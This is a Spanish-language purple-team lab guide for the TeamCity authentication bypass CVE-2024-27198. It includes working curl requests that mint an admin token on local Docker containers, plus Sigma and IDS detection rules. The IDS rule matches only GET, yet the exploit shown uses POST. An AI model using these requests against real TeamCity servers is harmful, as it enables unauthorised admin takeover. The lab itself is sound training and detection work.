Laboratorio para el CVE-2024-27198
TeamCity proporciona una página solo para administradores para la gestión de tokens que no está protegida por autenticación. Esto permite que un usuario no autenticado genere un token de acceso para el usuario administrador si puede encontrar un ID de un usuario existente.
La vulnerabilidad reside en el mecanismo de enrutamiento de la API REST. Al agregar caracteres específicos (como ?jsp=/app/rest/...;.jsp) a un endpoint no autenticado, los atacantes pueden engañar al servidor web de TeamCity para que enrute la solicitud a un endpoint autenticado mientras omiten los filtros de seguridad. Esto no requiere ningún conocimiento ni acceso previo, lo que lo convierte en un CVSS puro de 9.8.
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
Acceda a la instancia vulnerable de TeamCity en http://localhost:8111. Acceda a la instancia parcheada de TeamCity en http://localhost:8112.
Nombre de usuario:
admin
Contraseña:
admin
Solicitud GET para un recurso sin autenticación:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
Ambas deberían devolver un error con código de estado 401.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Esto debería devolver un token como este (El token es diferente cada vez):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Esto debería devolver un error con código de estado 401 porque la instancia parcheada no tiene la vulnerabilidad.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
Debería devolver la lista de usuarios.
Durante la demostración en el laboratorio, puede mostrar un hallazgo masivo del Blue Team: ¡por defecto, esta vulnerabilidad es increíblemente sigilosa!
;.jsp no se registran.Entonces, ¿cómo lo detectamos? ¡Cuando el atacante limpia sus huellas! Cuando el atacante elimina su token malicioso para ocultarse, TeamCity sí lo registra.
Encuentre al atacante cubriendo sus huellas en los registros de auditoría:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(Verá una entrada de registro que indica que el token "REDTEAM" fue eliminado).
docker compose -f docker-compose.yml down
Esta vulnerabilidad es un caso de CWE-288: Omisión de Autenticación mediante una Ruta o Canal Alternativo.
El fallo se origina en un problema de confusión de ruta entre el servidor web Tomcat y el enrutador de la aplicación TeamCity. Al agregar ;.jsp y pasar el endpoint de la API REST objetivo en el parámetro jsp=, el filtro de seguridad inicial interpreta la solicitud como una solicitud no autenticada a un archivo .jsp público (lo cual está permitido). Sin embargo, el enrutador interno elimina el ;.jsp y reenvía la solicitud al endpoint restringido /app/rest/ sin aplicar el filtro de autenticación.
Caso de Uso Legítimo (¿Por qué se permite ;?):
Tomcat utiliza el punto y coma (;) para Parámetros Matriciales. Históricamente, este mecanismo se utiliza para pasar parámetros directamente dentro de la ruta, como agregar JSESSIONID para mantener el estado de sesión del usuario cuando las cookies están deshabilitadas. Este comportamiento normal y legítimo del servidor web, combinado con la validación incorrecta por parte del enrutador de la aplicación TeamCity, es lo que crea la vulnerabilidad.
Para detectar un compromiso en curso o pasado, los Blue Teams deben buscar:
/app/rest/ pero que contengan la cadena anómala ;.jsp en la URI.teamcity-server.log): generación inexplicable de tokens de acceso o creación de nuevas cuentas administrativas.Debido a que la explotación inicial es sigilosa por defecto, los Blue Teams deben confiar en la detección de las acciones posteriores a la explotación del atacante, como cubrir sus huellas. Aquí hay una regla Sigma para su SIEM para detectar eliminaciones sospechosas de tokens:
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
Para demostrar que esta detección funciona, ejecute el script siem_simulator.py.
docker compose up -d).python3 siem_simulator.py
Para detectar este intento de explotación en la red, un SOC puede implementar la siguiente regla IDS, que busca el patrón anómalo ;.jsp combinado con rutas de API REST:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Para demostrar que la mitigación funciona, puede lanzar la misma carga útil de exploit contra el contenedor parcheado de TeamCity que se ejecuta en el puerto 8112:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Debido a que el parche aplica estrictamente el enrutamiento de rutas y sanitiza adecuadamente los parámetros matriciales, la omisión fallará. Debería ver una respuesta 401 No autorizado o 404 No encontrado en lugar de un token generado.